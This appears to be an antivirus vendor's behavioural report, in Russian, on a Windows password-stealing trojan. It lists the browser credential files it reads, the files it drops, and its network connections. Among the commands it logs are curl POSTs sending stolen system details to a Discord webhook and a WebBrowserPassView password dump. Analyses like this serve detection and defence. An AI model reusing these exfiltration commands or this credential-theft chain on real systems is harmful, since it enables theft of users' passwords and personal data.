Техническая информация
Вредоносные функции
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
Изменения в файловой системе
Создает следующие файлы
- C:\temp\curl-ca-bundle.crt
- C:\temp\curl.exe
- C:\temp\webbrowserpassview.exe
- C:\temp\finalres.vbs
- C:\temp\finalres2.vbs
- C:\temp\finalres.bat
- C:\temp\filed.exe
- C:\temp\windowsinfo.txt
- C:\temp\ip_address.txt
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- C:\temp\system_info.txt
- C:\temp\user_passwords.txt
Удаляет следующие файлы
- C:\temp\finalres2.vbs
Сетевая активность
Подключается к
- 'cd#.##scordapp.com':443
- 'localhost':49173
- 'localhost':49175
- 'di##ord.com':443
- 'localhost':49178
- 'localhost':49180
- 'my####rnalip.com':443
- 'localhost':49183
- 'localhost':49185
TCP
- 'cd#.##scordapp.com':443
- 'localhost':49173
- 'localhost':49175
- 'localhost':49176
- 'di##ord.com':443
- 'localhost':49178
- 'localhost':49180
- 'localhost':49181
- 'my####rnalip.com':443
- 'localhost':49183
- 'localhost':49185
- 'localhost':49186
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK di##ord.com
- DNS ASK my####rnalip.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "C:\temp\finalres.vbs"
- '<SYSTEM32>\wscript.exe' "C:\temp\finalres2.vbs"
- 'C:\temp\curl.exe' -X POST -H "Content-type: application/json" --data "{\"content\": \"**INJECTION STARTED!**\"}" https://discord.com/api/webhooks/826081602353496074/-2BPfyUHtl72k-xWUbfNorSFxnWi-K9d8hXLfFB6QkeM3-...
- 'C:\temp\curl.exe' "https://myexternalip.com/raw"
- 'C:\temp\webbrowserpassview.exe' /stext "C:/temp/user_Passwords.txt"
- 'C:\temp\curl.exe' -X POST -H "Content-type: application/json" --data "{\"content\": \"**user**\n```asciidoc\nTime and Date :: Tue 03/30/2021 0:35:10.52\nIP Address :: 95.211.190.197\nWindows Info :: Product Nam...
- 'C:\temp\filed.exe' --processStart filed.exe
- '<SYSTEM32>\cmd.exe' /c ""C:\temp\finalres.bat" "' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""C:\temp\finalres.bat" "
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\findstr.exe' /c:"Host Name"
- '<SYSTEM32>\findstr.exe' /c:"Domain"
- '<SYSTEM32>\findstr.exe' /c:"OS Name"
- '<SYSTEM32>\findstr.exe' /c:"OS Version"
- '<SYSTEM32>\findstr.exe' /c:"System Manufacturer"
- '<SYSTEM32>\findstr.exe' /c:"System Model"
- '<SYSTEM32>\findstr.exe' /c:"System type"
- '<SYSTEM32>\findstr.exe' /c:"Total Physical Memory"
- '<SYSTEM32>\wbem\wmic.exe' diskdrive get size
- '<SYSTEM32>\wbem\wmic.exe' bios get serialnumber
- '<SYSTEM32>\wbem\wmic.exe' cpu get name
